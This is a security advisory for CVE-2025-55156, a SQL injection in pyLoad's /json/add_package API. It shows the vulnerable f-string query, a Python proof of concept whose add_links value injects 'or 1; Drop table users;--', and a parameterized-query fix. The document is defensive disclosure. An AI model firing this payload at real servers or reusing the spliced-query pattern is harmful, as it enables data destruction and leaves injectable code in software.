ghsa-pwh4-6r3m-j2rf
Vulnerability from github
Summary
The parameter add_links in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.
Details
- Affected file：https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271
-
Affected code:
``python @style.queue def update_link_info(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) ids = [] statuses = "','".join(x[3] for x in data) self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')") for r in self.c: ids.append(int(r[0])) return ids ```` statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because{statuses}` is directly spliced into the SQL statement, it leads to the SQL injection vulnerability. -
Vulnerability Chain
xml josn_blueprint.py#add_package src/pyload/core/api/__init__.py#add_package src/pyload/core/managers/file_manager.py#add_links src/pyload/core/threads/info_thread.py#run src/pyload/core/threads/info_thread.py#update_info src/pyload/core/managers/file_manager.py#update_file_info src/pyload/core/database/file_database.py#update_link_info
PoC
```python import requests
if name == "main": url = "http://localhost:8000/json/add_package" data = { "add_name": "My Downloads1", "add_dest": "0", "add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--", "add_password": "mypassword" }
response = requests.post(url, cookies=your_cookies, data=data)
print(response.status_code, response.text)
```
Remediation
```python def update_link_info(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, )
# 提取所有url
urls = [x[3] for x in data]
# 构建参数化查询，避免SQL注入
placeholders = ','.join(['?'] * len(urls))
query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)"
self.c.execute(query, urls)
ids = [int(row[0]) for row in self.c.fetchall()]
return ids
```
Impact
Attackers can modify or delete data in the database, causing data errors or loss.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.0b3.dev91"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-55156"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-12T00:13:46Z",
"nvd_published_at": "2025-08-11T23:15:26Z",
"severity": "HIGH"
},
"details": "### Summary\nThe parameter `add_links` in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.\n\n### Details\n- Affected file\uff1ahttps://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271\n- Affected code:\n```python\n@style.queue\n def update_link_info(self, data):\n \"\"\"\n data is list of tuples (name, size, status, url)\n \"\"\"\n self.c.executemany(\n \"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)\",\n data,\n )\n ids = []\n statuses = \"\u0027,\u0027\".join(x[3] for x in data)\n self.c.execute(f\"SELECT id FROM links WHERE url IN (\u0027{statuses}\u0027)\")\n for r in self.c:\n ids.append(int(r[0]))\n return ids\n````\nstatuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because `{statuses}` is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.\n\n- Vulnerability Chain\n```xml\njosn_blueprint.py#add_package\nsrc/pyload/core/api/__init__.py#add_package\nsrc/pyload/core/managers/file_manager.py#add_links\nsrc/pyload/core/threads/info_thread.py#run\nsrc/pyload/core/threads/info_thread.py#update_info\nsrc/pyload/core/managers/file_manager.py#update_file_info\nsrc/pyload/core/database/file_database.py#update_link_info\n```\n\n\n### PoC\n```python\nimport requests\n\n\nif __name__ == \"__main__\":\n url = \"http://localhost:8000/json/add_package\"\n data = {\n \"add_name\": \"My Downloads1\",\n \"add_dest\": \"0\",\n \"add_links\": \"https://www.dailymotion.com/video/x8zzzzz\u0027) or 1; Drop table users;--\",\n \"add_password\": \"mypassword\"\n }\n\n response = requests.post(url, cookies=your_cookies, data=data)\n print(response.status_code, response.text)\n```\n\u003cimg width=\"1599\" height=\"827\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202\" /\u003e\n\n\n\n\n### Remediation\n ```python\ndef update_link_info(self, data):\n \"\"\"\ndata is list of tuples (name, size, status, url)\n\"\"\"\n self.c.executemany(\n \"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)\",\n data,\n )\n \n # \u63d0\u53d6\u6240\u6709url\n urls = [x[3] for x in data]\n \n # \u6784\u5efa\u53c2\u6570\u5316\u67e5\u8be2\uff0c\u907f\u514dSQL\u6ce8\u5165\n placeholders = \u0027,\u0027.join([\u0027?\u0027] * len(urls))\n query = f\"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)\"\n self.c.execute(query, urls)\n \n ids = [int(row[0]) for row in self.c.fetchall()]\n return ids\n```\n\n\n\n### Impact\nAttackers can modify or delete data in the database, causing data errors or loss.",
"id": "GHSA-pwh4-6r3m-j2rf",
"modified": "2025-08-12T13:16:38Z",
"published": "2025-08-12T00:13:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-pwh4-6r3m-j2rf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55156"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/commit/134edcdf6e2a10c393743c254da3d9d90b74258f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter"
}
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.